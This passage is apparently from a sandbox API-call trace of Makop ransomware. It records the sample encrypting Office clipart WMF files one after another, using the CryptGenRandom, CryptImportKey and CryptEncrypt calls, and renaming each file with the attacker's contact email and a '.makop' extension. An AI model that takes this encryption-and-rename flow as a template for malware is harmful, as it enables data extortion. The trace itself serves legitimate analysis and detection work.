pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.034] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.035] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.035] GetProcessHeap () returned 0x48a0000 [0144.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.035] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.035] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.036] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.036] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.036] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb9c4, lpOverlapped=0x0) returned 1 [0144.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9d0, dwBufLen=0xb9d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb9d0) returned 1 [0144.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb9d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb9d0, lpOverlapped=0x0) returned 1 [0144.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.043] SetEndOfFile (hFile=0xf0) returned 1 [0144.051] GetProcessHeap () returned 0x48a0000 [0144.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.051] GetProcessHeap () returned 0x48a0000 [0144.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.051] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.053] CloseHandle (hObject=0xf0) returned 1 [0144.054] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0144.054] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF") returned 63 [0144.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.055] GetProcessHeap () returned 0x48a0000 [0144.055] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.055] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.060] GetProcessHeap () returned 0x48a0000 [0144.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.062] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.062] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6928, lpOverlapped=0x0) returned 1 [0144.064] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6930, dwBufLen=0x6930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6930) returned 1 [0144.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6930, lpOverlapped=0x0) returned 1 [0144.065] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.065] SetEndOfFile (hFile=0xf0) returned 1 [0144.072] GetProcessHeap () returned 0x48a0000 [0144.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.072] GetProcessHeap () returned 0x48a0000 [0144.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.074] CloseHandle (hObject=0xf0) returned 1 [0144.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0144.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF") returned 63 [0144.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.076] GetProcessHeap () returned 0x48a0000 [0144.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.076] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.077] GetProcessHeap () returned 0x48a0000 [0144.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.084] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7400, lpOverlapped=0x0) returned 1 [0144.086] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7400, dwBufLen=0x7400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7400) returned 1 [0144.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7400, lpOverlapped=0x0) returned 1 [0144.087] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x74d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.087] SetEndOfFile (hFile=0xf0) returned 1 [0144.095] GetProcessHeap () returned 0x48a0000 [0144.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.095] GetProcessHeap () returned 0x48a0000 [0144.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.095] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.098] CloseHandle (hObject=0xf0) returned 1 [0144.098] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0144.098] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF") returned 63 [0144.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.099] GetProcessHeap () returned 0x48a0000 [0144.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.099] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.100] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.100] GetProcessHeap () returned 0x48a0000 [0144.100] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.100] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.100] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.106] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.106] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.107] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.107] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.107] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4090, lpOverlapped=0x0) returned 1 [0144.109] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4090, dwBufLen=0x4090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4090) returned 1 [0144.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4090, lpOverlapped=0x0) returned 1 [0144.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.110] SetEndOfFile (hFile=0xf0) returned 1 [0144.116] GetProcessHeap () returned 0x48a0000 [0144.116] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.117] GetProcessHeap () returned 0x48a0000 [0144.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.117] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.118] CloseHandle (hObject=0xf0) returned 1 [0144.118] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0144.118] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 63 [0144.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 